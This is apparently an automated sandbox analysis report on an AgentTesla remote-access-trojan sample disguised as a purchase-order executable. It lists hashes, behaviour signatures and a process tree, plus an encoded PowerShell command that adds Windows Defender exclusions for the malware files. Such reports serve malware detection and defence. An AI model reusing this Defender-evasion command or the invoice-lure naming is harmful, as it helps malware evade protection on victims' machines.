Analysis

  • max time kernel
    105s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/03/2025, 13:20

General

  • Target

    PO_7410091 & Sales Contract 0514.exe

  • Size

    1.3MB

  • MD5

    7ed3e58d0acc9137cd7df2c3de2cf24e

  • SHA1

    d242be811a8cd5c8bcef192aabd86813eaf44807

  • SHA256

    b7609fc82f166683cdd8a5875ed6eb917e6a94998c30abf3950e752fc13e38e7

  • SHA512

    9dde9ca1e04c2d9c08638ffd813f87d4218bd61c77b71ac31df77352c869a5216dd35534f6a1e0e0dd9095567a5356fc5edc4143988899c3497cfa731eab6d7a

  • SSDEEP

    24576:hiLzQFKqb7qrb6BvqAepzfhOyFWeELW6liNd5PbjcnoqiJYG6lL9BTD:YgQW7w+BSA0zfgyFWeELWgiv5PncovaH

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3416
      • C:\Users\Admin\AppData\Local\Temp\PO_7410091 & Sales Contract 0514.exe
        "C:\Users\Admin\AppData\Local\Temp\PO_7410091 & Sales Contract 0514.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Checks computer location settings
        • Drops startup file
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5856
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /release
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5896
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /release
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:5924
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUABPAF8ANwA0ADEAMAAwADkAMQAgACYAIABTAGEAbABlAHMAIABDAG8AbgB0AHIAYQBjAHQAIAAwADUAMQA0AC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFAATwBfADcANAAxADAAMAA5ADEAIAAmACAAUwBhAGwAZQBzACAAQwBvAG4AdAByAGEAYwB0ACAAMAA1ADEANAAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABvAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABvAHAALgBlAHgAZQA=
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5064
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ipconfig /renew
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3580
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /renew
            4⤵
            • System Location Discovery: System Language Discovery
            • Gathers network information
            PID:332
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4172

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ofqqss4.zsf.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4172-1386-0x0000000006770000-0x00000000067C0000-memory.dmp

      Filesize

      320KB

    • memory/4172-1388-0x0000000006800000-0x000000000680A000-memory.dmp

      Filesize

      40KB

    • memory/4172-1387-0x0000000006860000-0x00000000068F2000-memory.dmp

      Filesize

      584KB

    • memory/4172-1383-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/5064-1352-0x00000000050E0000-0x0000000005102000-memory.dmp

      Filesize

      136KB

    • memory/5064-1350-0x0000000005150000-0x0000000005778000-memory.dmp

      Filesize

      6.2MB

    • memory/5064-1351-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5064-1349-0x0000000004A00000-0x0000000004A36000-memory.dmp

      Filesize

      216KB

    • memory/5064-1353-0x0000000005830000-0x0000000005896000-memory.dmp

      Filesize

      408KB

    • memory/5064-1371-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5064-1367-0x0000000005FA0000-0x0000000005FBE000-memory.dmp

      Filesize

      120KB

    • memory/5064-1368-0x0000000005FD0000-0x000000000601C000-memory.dmp

      Filesize

      304KB

    • memory/5064-1361-0x00000000059C0000-0x0000000005D14000-memory.dmp

      Filesize

      3.3MB

    • memory/5064-1366-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5064-1355-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5064-1354-0x0000000005950000-0x00000000059B6000-memory.dmp

      Filesize

      408KB

    • memory/5856-42-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-1347-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-64-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-62-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-36-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-32-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-30-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-24-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-20-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-18-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-16-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-14-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-13-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-8-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-6-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-5-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-34-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-28-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-26-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-22-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-3-0x00000000059B0000-0x0000000005AC2000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-1341-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-1343-0x0000000005E10000-0x0000000005E7A000-memory.dmp

      Filesize

      424KB

    • memory/5856-1344-0x0000000005EE0000-0x0000000005F2C000-memory.dmp

      Filesize

      304KB

    • memory/5856-1342-0x0000000005DA0000-0x0000000005E0C000-memory.dmp

      Filesize

      432KB

    • memory/5856-1345-0x00000000752EE000-0x00000000752EF000-memory.dmp

      Filesize

      4KB

    • memory/5856-1346-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-40-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-0-0x00000000752EE000-0x00000000752EF000-memory.dmp

      Filesize

      4KB

    • memory/5856-44-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-46-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-49-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-50-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-52-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-56-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-58-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-60-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-66-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-68-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-54-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-1348-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-38-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-1373-0x00000000058F0000-0x0000000005944000-memory.dmp

      Filesize

      336KB

    • memory/5856-1372-0x0000000006F80000-0x0000000007524000-memory.dmp

      Filesize

      5.6MB

    • memory/5856-1379-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-10-0x0000000005B30000-0x0000000005C3D000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-1385-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-1384-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-1382-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-4-0x0000000005B30000-0x0000000005C44000-memory.dmp

      Filesize

      1.1MB

    • memory/5856-2-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB

    • memory/5856-1-0x0000000000810000-0x0000000000966000-memory.dmp

      Filesize

      1.3MB

    • memory/5856-1389-0x00000000752E0000-0x0000000075A90000-memory.dmp

      Filesize

      7.7MB